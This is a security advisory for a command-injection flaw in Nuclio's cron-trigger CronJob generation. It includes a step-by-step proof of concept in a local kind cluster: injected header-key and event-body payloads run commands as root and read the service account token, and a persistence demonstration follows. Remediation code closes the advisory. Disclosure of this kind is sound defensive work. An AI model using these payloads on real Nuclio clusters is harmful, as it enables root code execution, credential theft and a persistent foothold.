GHSA-V5PX-423J-PF7P

Vulnerability from github – Published: 2026-07-08 20:24 – Updated: 2026-07-08 20:24
VLAI
Summary
Nuclio: Unsanitized cron trigger event headers/body injected into CronJob shell command leads to persistent RCE
Details

Summary

Nuclio controller builds a curl invocation string for each cron trigger and stores it as the args of a Kubernetes CronJob container (/bin/sh, -c, <command>). Two fields in the trigger specification flow into this string without adequate sanitization:

  • event.headers keys — interpolated verbatim inside double-quoted --header arguments (lazy.go:2150); any key containing " breaks the quoting context.
  • event.body — processed with strconv.Quote, which escapes " and \ but not $(), allowing command substitution (lazy.go:2188).

Both paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17).

  • CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H9.9 (Critical)
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Affected versions: Nuclio <= 1.15.27 (latest, dynamically verified)

Details

Root Cause

When a NuclioFunction with a cron trigger is reconciled by the controller, it calls generateCronTriggerCronJobSpec in pkg/platform/kube/functionres/lazy.go:2113. This function builds a shell command string by concatenating user-supplied values and passes it directly to /bin/sh -c.

Path-A — Header key injection (lazy.go:2146-2151)

// lazy.go:2146-2151
headersAsCurlArg := ""
for headerKey := range attributes.Event.Headers {
    headerValue := attributes.Event.GetHeaderString(headerKey)
    headersAsCurlArg = fmt.Sprintf("%s --header \"%s: %s\"",
        headersAsCurlArg, headerKey, headerValue)
    //                              ↑
    //                   headerKey is user-controlled; no escaping applied
}

headerKey is taken from event.headers in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing " terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.

Attack string for headerKey:

X-Inject"; ARBITRARY_COMMAND; echo "

Resulting shell command fragment:

--header "X-Inject"; ARBITRARY_COMMAND; echo ": value"

Path-B — Body command substitution (lazy.go:2173-2192)

// lazy.go:2188-2192
curlCommand = fmt.Sprintf("echo %s > %s && %s %s",
    strconv.Quote(eventBody),   // escapes " → \" and \ → \\, but NOT $()
    eventBodyFilePath,
    curlCommand,
    eventBodyCurlArg)

strconv.Quote wraps the string in double quotes and escapes " and \, but does not escape $, (, or ). A body value of $(CMD) becomes the Go string "$(CMD)", which the shell expands as command substitution when executing the /bin/sh -c string.

Attack string for event.body:

$(ARBITRARY_COMMAND)

Resulting shell command:

echo "$(ARBITRARY_COMMAND)" > /tmp/eventbody.out && curl ...

Execution sink (lazy.go:2212)

// lazy.go:2212
Args: []string{"/bin/sh", "-c", curlCommand}

The entire concatenated string — including any injected content — is executed by the shell.

Persistence mechanism

The CronJob created by the controller carries no ownerReferences linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at lazy.go:522:

// Delete function k8s CronJobs before the Deployment so they cannot spawn new
// CronJobs are not owned by the Deployment, so cascade does not remove them.

PoC

Environment Setup

The following steps reproduce the vulnerability in an isolated local environment.

Step 1 — Install prerequisites

# kind (Kubernetes-in-Docker)
curl -Lo /usr/local/bin/kind \
    https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64
chmod +x /usr/local/bin/kind

# Helm
curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash

Step 2 — Create isolated kind cluster

kind create cluster --name vul-010
kubectl cluster-info --context kind-vul-010

Expected output:

Kubernetes control plane is running at https://127.0.0.1:xxxxx

Step 3 — Deploy Nuclio (latest 1.15.27)

helm repo add nuclio https://nuclio.github.io/nuclio/charts
helm repo update

kubectl create namespace nuclio

helm install nuclio nuclio/nuclio \
    --namespace nuclio \
    --kube-context kind-vul-010 \
    --version 0.21.27 \
    --set dashboard.enabled=true \
    --set controller.enabled=true

Wait for the controller to become ready:

kubectl wait --for=condition=Available deployment/nuclio-controller \
    -n nuclio --context kind-vul-010 --timeout=120s

Step 4 — Create a NuclioProject

kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioProject
metadata:
  name: default
  namespace: nuclio
spec:
  description: "default project"
EOF

Step 5 — Prepare a placeholder image for the function deployment

The controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:

# Tag alpine as the placeholder function image
docker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest
kind load docker-image placeholder-function:latest --name vul-010

# Also load the CronJob runner image (appropriate/curl or any sh-capable image)
docker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest
kind load docker-image appropriate/curl:latest --name vul-010

Exploitation — Path-A: Header Key Injection

Step 6 — Create a NuclioFunction with malicious header key

The injection payload in the header key is:

X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "
kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: vul010-rce-visible
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  build:
    functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
  triggers:
    cron-inject:
      kind: cron
      attributes:
        schedule: "*/1 * * * *"
        event:
          headers:
            X-Normal: safe-value
            'X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': marker
  minReplicas: 1
  maxReplicas: 1
EOF

Step 7 — Trigger the controller to create the CronJob

kubectl patch nucliofunction vul010-rce-visible -n nuclio \
    --context kind-vul-010 \
    --type=merge \
    -p '{"status":{"state":"waitingForResourceConfiguration"}}'

Wait ~10 seconds for the controller to reconcile, then list CronJobs:

kubectl get cronjob -n nuclio --context kind-vul-010

Expected output:

NAME                                   SCHEDULE      SUSPEND   ACTIVE   LAST SCHEDULE   AGE
nuclio-cron-job-d84tg6lmuaqc73arn15g   */1 * * * *   False     0        <none>          12s

Step 8 — Inspect the generated CronJob command (static confirmation)

CJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
    -o jsonpath='{.items[0].metadata.name}')

kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \
    -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \
    | python3 -m json.tool

Actual output from verification:

[
    "/bin/sh",
    "-c",
    "curl --silent  --header \"X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \": marker\" --header \"X-Normal: safe-value\" --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-rce-visible\" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused"
]

The injected commands are clearly embedded between the shell-separated statements.

Step 9 — Manually trigger a CronJob run (dynamic confirmation)

kubectl create job --from=cronjob/"$CJ_NAME" \
    vul010-rce-proof -n nuclio --context kind-vul-010

# Wait for the pod to complete
kubectl wait pod -n nuclio --context kind-vul-010 \
    -l job-name=vul010-rce-proof \
    --for=condition=Ready --timeout=30s 2>/dev/null || true

POD=$(kubectl get pods -n nuclio --context kind-vul-010 \
    -l job-name=vul010-rce-proof -o jsonpath='{.items[0].metadata.name}')

kubectl logs "$POD" -n nuclio --context kind-vul-010

Actual pod log output from verification:

/bin/sh: curl: not found
===RCE_CONFIRMED===
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
eyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG: marker --header X-Normal: safe-value ...
  • Line 1: curl exits immediately at "X-Inject" (no curl binary in alpine)
  • Line 2: echo "===RCE_CONFIRMED===" executes — injection confirmed
  • Line 3: id executes — container runs as uid=0 (root)
  • Line 4: cat .../token | head -c 50 exfiltrates the first 50 bytes of the K8s SA token

Exploitation — Path-B: Body Command Substitution

Step 10 — Create a NuclioFunction with malicious event body

kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: vul010-body-inject
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  build:
    functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
  triggers:
    cron-body:
      kind: cron
      attributes:
        schedule: "*/1 * * * *"
        event:
          body: "$(id 1>&2; echo BODY_INJECTION_PROOF)"
  minReplicas: 1
  maxReplicas: 1
EOF

kubectl patch nucliofunction vul010-body-inject -n nuclio \
    --context kind-vul-010 \
    --type=merge \
    -p '{"status":{"state":"waitingForResourceConfiguration"}}'

Step 11 — Verify CronJob command (static)

sleep 15
CJ_NAME_B=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
    -l "nuclio.io/function-name=vul010-body-inject" \
    -o jsonpath='{.items[0].metadata.name}')

kubectl get cronjob "$CJ_NAME_B" -n nuclio --context kind-vul-010 \
    -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \
    | python3 -m json.tool

Actual output from verification:

[
    "/bin/sh",
    "-c",
    "echo \"$(id 1>&2; echo BODY_INJECTION_PROOF)\" > /tmp/eventbody.out && curl --silent  --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-body-inject\" nuclio-vul010-body-inject.nuclio.svc.cluster.local:8080 ..."
]

$() is present unescaped inside a double-quoted string passed to /bin/sh -c.

Step 12 — Dynamic execution

kubectl create job --from=cronjob/"$CJ_NAME_B" \
    vul010-body-proof -n nuclio --context kind-vul-010

POD_B=$(kubectl get pods -n nuclio --context kind-vul-010 \
    -l job-name=vul010-body-proof -o jsonpath='{.items[0].metadata.name}')

kubectl logs "$POD_B" -n nuclio --context kind-vul-010

Actual pod log output from verification:

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/bin/sh: curl: not found

id ran as root via $() expansion before curl was even attempted.


Persistence Verification

Step 13 — Confirm CronJob has no ownerReferences

kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \
    -o jsonpath='{.metadata.ownerReferences}'

Expected: empty (no output)

Step 14 — Simulate controller crash during function deletion

# Stop the controller
kubectl scale deployment nuclio-controller -n nuclio \
    --context kind-vul-010 --replicas=0

# Delete the function
kubectl delete nucliofunction vul010-rce-visible -n nuclio \
    --context kind-vul-010

sleep 5

# Function is gone — CronJob remains
kubectl get nucliofunction -n nuclio --context kind-vul-010
kubectl get cronjob -n nuclio --context kind-vul-010

Actual output from verification:

# NuclioFunctions:
NAME                  AGE
vul010-body-inject2   2m30s
(vul010-rce-visible deleted — not listed)

# CronJobs:
NAME                                   SCHEDULE      SUSPEND   ACTIVE
nuclio-cron-job-d84tj8lmuaqc73arn170   */1 * * * *   False     0
(CronJob belonging to the deleted function — still running)

Step 15 — Execute the persistent backdoor

kubectl create job --from=cronjob/nuclio-cron-job-d84tj8lmuaqc73arn170 \
    vul010-persist-backdoor -n nuclio --context kind-vul-010

kubectl logs vul010-persist-backdoor-* -n nuclio --context kind-vul-010

Actual pod log output from verification:

/bin/sh: curl: not found
PERSISTENT_BACKDOOR_ACTIVE
: attacker-value --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vul010-persist-test ...

The injected command executes after the source function has been deleted.


Cleanup

kubectl delete nucliofunction --all -n nuclio --context kind-vul-010 2>/dev/null
kubectl delete cronjob --all -n nuclio --context kind-vul-010 2>/dev/null
kind delete cluster --name vul-010

Impact

Remote Code Execution: An attacker with network access to the Dashboard API (unauthenticated by default) can execute arbitrary shell commands inside the CronJob pod on every scheduled tick.

Runs as root: Every CronJob pod confirmed running as uid=0(root) during verification.

ServiceAccount token exfiltration: The pod's mounted SA token (/var/run/secrets/ kubernetes.io/serviceaccount/token) is readable by the injected commands and can be exfiltrated to an attacker-controlled host via the injected curl call. This token enables: - Enumeration of Kubernetes API resources in the nuclio namespace - In misconfigured clusters, cluster-wide API access

Persistent backdoor: The CronJob resource has no ownerReferences and is not garbage-collected by Kubernetes. In the window between controller unavailability and explicit cleanup, the CronJob continues executing the attacker's commands on the configured schedule (minimum every 1 minute) — persisting beyond function deletion, Nuclio redeployments, or loss of attacker Dashboard access.

Cloud environment lateral movement: In managed Kubernetes environments (AWS EKS, GCP GKE, Azure AKS), the injected commands can access the cloud instance metadata service to retrieve IAM credentials, enabling lateral movement outside the cluster.


Severity

Critical — CVSS 3.1 Score: 9.9

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Metric Value Rationale
Attack Vector Network Dashboard is network-accessible
Attack Complexity Low No preconditions; straightforward payload
Privileges Required None NOP auth is the default configuration
User Interaction None Fully automated via API
Scope Changed Impact crosses pod boundary into cluster
Confidentiality High SA token, secrets readable
Integrity High Arbitrary command execution as root
Availability High Persistent CronJob can exhaust cluster resources

Affected Versions

All Nuclio versions that support Kubernetes CronJob-based cron triggers, which includes the current production release.

  • Confirmed affected: 1.15.27 (latest as of 2026-05-17, dynamically verified)
  • Earliest affected: introduced when CronJob-based cron trigger support was added (cronTriggerCreationMode: kube)

Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.4


Workarounds

  1. Network-level restriction: Place the Nuclio Dashboard behind an authenticated reverse proxy or restrict port 8070 to trusted networks only. This limits who can submit function specifications.

  2. Disable cron triggers: If cron trigger functionality is not required, avoid creating functions with kind: cron triggers.

  3. RBAC restriction: Remove the batch API group permission from the Nuclio controller ServiceAccount to prevent CronJob creation. Note: this disables cron trigger functionality entirely.

None of the above eliminate the root cause; they only reduce exposure.


Resources

  • Vulnerable file: pkg/platform/kube/functionres/lazy.go
  • Path-A: line 2150 — header key interpolation
  • Path-B: lines 2188-2189 — body interpolation with strconv.Quote
  • Execution sink: line 2212 — Args: []string{"/bin/sh", "-c", curlCommand}
  • Go strconv.Quote documentation: does not escape $, (, ), or backticks
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • CVSS 3.1 Calculator: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Remediation

P0 — Eliminate the shell layer (preferred fix)

Replace the /bin/sh -c <string> invocation with an exec-format argument list. This removes shell interpretation entirely:

// Current (vulnerable): lazy.go:2212
Args: []string{"/bin/sh", "-c", curlCommand}

// Fixed: build curl args as a []string slice
func buildCurlArgs(headers map[string]string, body, address string) []string {
    args := []string{"curl", "--silent"}
    for k, v := range headers {
        args = append(args, "--header", k+": "+v)
    }
    if body != "" {
        args = append(args, "--data", body)
    }
    args = append(args, "--retry", "10", "--retry-delay", "1",
        "--retry-max-time", "10", "--retry-connrefused", address)
    return args
}

// Container spec:
Container{
    Command: nil,
    Args:    buildCurlArgs(headersMap, eventBody, functionAddress),
}

With exec format, each argument is passed directly to the process without shell interpretation. No quoting or escaping is needed.

P1 — Shell-safe quoting (fallback if shell is required)

If the shell invocation must be retained, apply proper POSIX shell quoting to all user-supplied values before interpolation. The equivalent of Python's shlex.quote must be implemented in Go:

func shellQuote(s string) string {
    return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
}

Apply to both headerKey, headerValue, and eventBody before inserting into the command string.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nuclio/nuclio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260601075854-3356b86a8bfa"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-08T20:24:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nNuclio controller builds a `curl` invocation string for each cron trigger and stores it as the `args` of a Kubernetes CronJob container (`/bin/sh`, `-c`, `\u003ccommand\u003e`). Two fields in the trigger specification flow into this string without adequate sanitization:\n\n- `event.headers` keys \u2014 interpolated verbatim inside double-quoted `--header` arguments (`lazy.go:2150`); any key containing `\"` breaks the quoting context.\n- `event.body` \u2014 processed with `strconv.Quote`, which escapes `\"` and `\\` but not `$()`, allowing command substitution (`lazy.go:2188`).\n\nBoth paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17).\n\n- **CVSS 3.1**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` \u2014 **9.9 (Critical)**\n- **CWE**: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)\n- **Affected versions**: Nuclio \u003c= 1.15.27 (latest, dynamically verified)\n\n---\n\n## Details\n\n### Root Cause\n\nWhen a NuclioFunction with a `cron` trigger is reconciled by the controller, it calls `generateCronTriggerCronJobSpec` in `pkg/platform/kube/functionres/lazy.go:2113`. This function builds a shell command string by concatenating user-supplied values and passes it directly to `/bin/sh -c`.\n\n**Path-A \u2014 Header key injection (`lazy.go:2146-2151`)**\n\n```go\n// lazy.go:2146-2151\nheadersAsCurlArg := \"\"\nfor headerKey := range attributes.Event.Headers {\n    headerValue := attributes.Event.GetHeaderString(headerKey)\n    headersAsCurlArg = fmt.Sprintf(\"%s --header \\\"%s: %s\\\"\",\n        headersAsCurlArg, headerKey, headerValue)\n    //                              \u2191\n    //                   headerKey is user-controlled; no escaping applied\n}\n```\n\n`headerKey` is taken from `event.headers` in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing `\"` terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.\n\nAttack string for `headerKey`:\n```\nX-Inject\"; ARBITRARY_COMMAND; echo \"\n```\n\nResulting shell command fragment:\n```bash\n--header \"X-Inject\"; ARBITRARY_COMMAND; echo \": value\"\n```\n\n**Path-B \u2014 Body command substitution (`lazy.go:2173-2192`)**\n\n```go\n// lazy.go:2188-2192\ncurlCommand = fmt.Sprintf(\"echo %s \u003e %s \u0026\u0026 %s %s\",\n    strconv.Quote(eventBody),   // escapes \" \u2192 \\\" and \\ \u2192 \\\\, but NOT $()\n    eventBodyFilePath,\n    curlCommand,\n    eventBodyCurlArg)\n```\n\n`strconv.Quote` wraps the string in double quotes and escapes `\"` and `\\`, but does not escape `$`, `(`, or `)`. A body value of `$(CMD)` becomes the Go string `\"$(CMD)\"`, which the shell expands as command substitution when executing the `/bin/sh -c` string.\n\nAttack string for `event.body`:\n```\n$(ARBITRARY_COMMAND)\n```\n\nResulting shell command:\n```bash\necho \"$(ARBITRARY_COMMAND)\" \u003e /tmp/eventbody.out \u0026\u0026 curl ...\n```\n\n**Execution sink (`lazy.go:2212`)**\n\n```go\n// lazy.go:2212\nArgs: []string{\"/bin/sh\", \"-c\", curlCommand}\n```\n\nThe entire concatenated string \u2014 including any injected content \u2014 is executed by the shell.\n\n**Persistence mechanism**\n\nThe CronJob created by the controller carries no `ownerReferences` linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at `lazy.go:522`:\n\n```go\n// Delete function k8s CronJobs before the Deployment so they cannot spawn new\n// CronJobs are not owned by the Deployment, so cascade does not remove them.\n```\n\n---\n\n## PoC\n\n### Environment Setup\n\nThe following steps reproduce the vulnerability in an isolated local environment.\n\n**Step 1 \u2014 Install prerequisites**\n\n```bash\n# kind (Kubernetes-in-Docker)\ncurl -Lo /usr/local/bin/kind \\\n    https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64\nchmod +x /usr/local/bin/kind\n\n# Helm\ncurl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash\n```\n\n**Step 2 \u2014 Create isolated kind cluster**\n\n```bash\nkind create cluster --name vul-010\nkubectl cluster-info --context kind-vul-010\n```\n\nExpected output:\n```\nKubernetes control plane is running at https://127.0.0.1:xxxxx\n```\n\n**Step 3 \u2014 Deploy Nuclio (latest 1.15.27)**\n\n```bash\nhelm repo add nuclio https://nuclio.github.io/nuclio/charts\nhelm repo update\n\nkubectl create namespace nuclio\n\nhelm install nuclio nuclio/nuclio \\\n    --namespace nuclio \\\n    --kube-context kind-vul-010 \\\n    --version 0.21.27 \\\n    --set dashboard.enabled=true \\\n    --set controller.enabled=true\n```\n\nWait for the controller to become ready:\n```bash\nkubectl wait --for=condition=Available deployment/nuclio-controller \\\n    -n nuclio --context kind-vul-010 --timeout=120s\n```\n\n**Step 4 \u2014 Create a NuclioProject**\n\n```bash\nkubectl apply --context kind-vul-010 -f - \u003c\u003c\u0027EOF\u0027\napiVersion: nuclio.io/v1beta1\nkind: NuclioProject\nmetadata:\n  name: default\n  namespace: nuclio\nspec:\n  description: \"default project\"\nEOF\n```\n\n**Step 5 \u2014 Prepare a placeholder image for the function deployment**\n\nThe controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:\n\n```bash\n# Tag alpine as the placeholder function image\ndocker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest\nkind load docker-image placeholder-function:latest --name vul-010\n\n# Also load the CronJob runner image (appropriate/curl or any sh-capable image)\ndocker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest\nkind load docker-image appropriate/curl:latest --name vul-010\n```\n\n---\n\n### Exploitation \u2014 Path-A: Header Key Injection\n\n**Step 6 \u2014 Create a NuclioFunction with malicious header key**\n\nThe injection payload in the header key is:\n```\nX-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \"\n```\n\n```bash\nkubectl apply --context kind-vul-010 -f - \u003c\u003c\u0027EOF\u0027\napiVersion: nuclio.io/v1beta1\nkind: NuclioFunction\nmetadata:\n  name: vul010-rce-visible\n  namespace: nuclio\n  labels:\n    nuclio.io/project-name: default\nspec:\n  image: placeholder-function:latest\n  runtime: python:3.9\n  handler: main:handler\n  build:\n    functionSourceCode: \"ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=\"\n  triggers:\n    cron-inject:\n      kind: cron\n      attributes:\n        schedule: \"*/1 * * * *\"\n        event:\n          headers:\n            X-Normal: safe-value\n            \u0027X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \"\u0027: marker\n  minReplicas: 1\n  maxReplicas: 1\nEOF\n```\n\n**Step 7 \u2014 Trigger the controller to create the CronJob**\n\n```bash\nkubectl patch nucliofunction vul010-rce-visible -n nuclio \\\n    --context kind-vul-010 \\\n    --type=merge \\\n    -p \u0027{\"status\":{\"state\":\"waitingForResourceConfiguration\"}}\u0027\n```\n\nWait ~10 seconds for the controller to reconcile, then list CronJobs:\n```bash\nkubectl get cronjob -n nuclio --context kind-vul-010\n```\n\nExpected output:\n```\nNAME                                   SCHEDULE      SUSPEND   ACTIVE   LAST SCHEDULE   AGE\nnuclio-cron-job-d84tg6lmuaqc73arn15g   */1 * * * *   False     0        \u003cnone\u003e          12s\n```\n\n**Step 8 \u2014 Inspect the generated CronJob command (static confirmation)**\n\n```bash\nCJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \\\n    -o jsonpath=\u0027{.items[0].metadata.name}\u0027)\n\nkubectl get cronjob \"$CJ_NAME\" -n nuclio --context kind-vul-010 \\\n    -o jsonpath=\u0027{.spec.jobTemplate.spec.template.spec.containers[0].args}\u0027 \\\n    | python3 -m json.tool\n```\n\nActual output from verification:\n```json\n[\n    \"/bin/sh\",\n    \"-c\",\n    \"curl --silent  --header \\\"X-Inject\\\"; echo \\\"===RCE_CONFIRMED===\\\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \\\": marker\\\" --header \\\"X-Normal: safe-value\\\" --header \\\"X-Nuclio-Invoke-Trigger: cron\\\" --header \\\"X-Nuclio-Target: vul010-rce-visible\\\" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused\"\n]\n```\n\nThe injected commands are clearly embedded between the shell-separated statements.\n\n**Step 9 \u2014 Manually trigger a CronJob run (dynamic confirmation)**\n\n```bash\nkubectl create job --from=cronjob/\"$CJ_NAME\" \\\n    vul010-rce-proof -n nuclio --context kind-vul-010\n\n# Wait for the pod to complete\nkubectl wait pod -n nuclio --context kind-vul-010 \\\n    -l job-name=vul010-rce-proof \\\n    --for=condition=Ready --timeout=30s 2\u003e/dev/null || true\n\nPOD=$(kubectl get pods -n nuclio --context kind-vul-010 \\\n    -l job-name=vul010-rce-proof -o jsonpath=\u0027{.items[0].metadata.name}\u0027)\n\nkubectl logs \"$POD\" -n nuclio --context kind-vul-010\n```\n\nActual pod log output from verification:\n```\n/bin/sh: curl: not found\n===RCE_CONFIRMED===\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\neyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG: marker --header X-Normal: safe-value ...\n```\n\n- Line 1: `curl` exits immediately at `\"X-Inject\"` (no curl binary in alpine)\n- Line 2: `echo \"===RCE_CONFIRMED===\"` executes \u2014 injection confirmed\n- Line 3: `id` executes \u2014 container runs as `uid=0 (root)`\n- Line 4: `cat .../token | head -c 50` exfiltrates the first 50 bytes of the K8s SA token\n\n---\n\n### Exploitation \u2014 Path-B: Body Command Substitution\n\n**Step 10 \u2014 Create a NuclioFunction with malicious event body**\n\n```bash\nkubectl apply --context kind-vul-010 -f - \u003c\u003c\u0027EOF\u0027\napiVersion: nuclio.io/v1beta1\nkind: NuclioFunction\nmetadata:\n  name: vul010-body-inject\n  namespace: nuclio\n  labels:\n    nuclio.io/project-name: default\nspec:\n  image: placeholder-function:latest\n  runtime: python:3.9\n  handler: main:handler\n  build:\n    functionSourceCode: \"ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=\"\n  triggers:\n    cron-body:\n      kind: cron\n      attributes:\n        schedule: \"*/1 * * * *\"\n        event:\n          body: \"$(id 1\u003e\u00262; echo BODY_INJECTION_PROOF)\"\n  minReplicas: 1\n  maxReplicas: 1\nEOF\n\nkubectl patch nucliofunction vul010-body-inject -n nuclio \\\n    --context kind-vul-010 \\\n    --type=merge \\\n    -p \u0027{\"status\":{\"state\":\"waitingForResourceConfiguration\"}}\u0027\n```\n\n**Step 11 \u2014 Verify CronJob command (static)**\n\n```bash\nsleep 15\nCJ_NAME_B=$(kubectl get cronjob -n nuclio --context kind-vul-010 \\\n    -l \"nuclio.io/function-name=vul010-body-inject\" \\\n    -o jsonpath=\u0027{.items[0].metadata.name}\u0027)\n\nkubectl get cronjob \"$CJ_NAME_B\" -n nuclio --context kind-vul-010 \\\n    -o jsonpath=\u0027{.spec.jobTemplate.spec.template.spec.containers[0].args}\u0027 \\\n    | python3 -m json.tool\n```\n\nActual output from verification:\n```json\n[\n    \"/bin/sh\",\n    \"-c\",\n    \"echo \\\"$(id 1\u003e\u00262; echo BODY_INJECTION_PROOF)\\\" \u003e /tmp/eventbody.out \u0026\u0026 curl --silent  --header \\\"X-Nuclio-Invoke-Trigger: cron\\\" --header \\\"X-Nuclio-Target: vul010-body-inject\\\" nuclio-vul010-body-inject.nuclio.svc.cluster.local:8080 ...\"\n]\n```\n\n`$()` is present unescaped inside a double-quoted string passed to `/bin/sh -c`.\n\n**Step 12 \u2014 Dynamic execution**\n\n```bash\nkubectl create job --from=cronjob/\"$CJ_NAME_B\" \\\n    vul010-body-proof -n nuclio --context kind-vul-010\n\nPOD_B=$(kubectl get pods -n nuclio --context kind-vul-010 \\\n    -l job-name=vul010-body-proof -o jsonpath=\u0027{.items[0].metadata.name}\u0027)\n\nkubectl logs \"$POD_B\" -n nuclio --context kind-vul-010\n```\n\nActual pod log output from verification:\n```\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n/bin/sh: curl: not found\n```\n\n`id` ran as root via `$()` expansion before `curl` was even attempted.\n\n---\n\n### Persistence Verification\n\n**Step 13 \u2014 Confirm CronJob has no ownerReferences**\n\n```bash\nkubectl get cronjob \"$CJ_NAME\" -n nuclio --context kind-vul-010 \\\n    -o jsonpath=\u0027{.metadata.ownerReferences}\u0027\n```\n\nExpected: empty (no output)\n\n**Step 14 \u2014 Simulate controller crash during function deletion**\n\n```bash\n# Stop the controller\nkubectl scale deployment nuclio-controller -n nuclio \\\n    --context kind-vul-010 --replicas=0\n\n# Delete the function\nkubectl delete nucliofunction vul010-rce-visible -n nuclio \\\n    --context kind-vul-010\n\nsleep 5\n\n# Function is gone \u2014 CronJob remains\nkubectl get nucliofunction -n nuclio --context kind-vul-010\nkubectl get cronjob -n nuclio --context kind-vul-010\n```\n\nActual output from verification:\n```\n# NuclioFunctions:\nNAME                  AGE\nvul010-body-inject2   2m30s\n(vul010-rce-visible deleted \u2014 not listed)\n\n# CronJobs:\nNAME                                   SCHEDULE      SUSPEND   ACTIVE\nnuclio-cron-job-d84tj8lmuaqc73arn170   */1 * * * *   False     0\n(CronJob belonging to the deleted function \u2014 still running)\n```\n\n**Step 15 \u2014 Execute the persistent backdoor**\n\n```bash\nkubectl create job 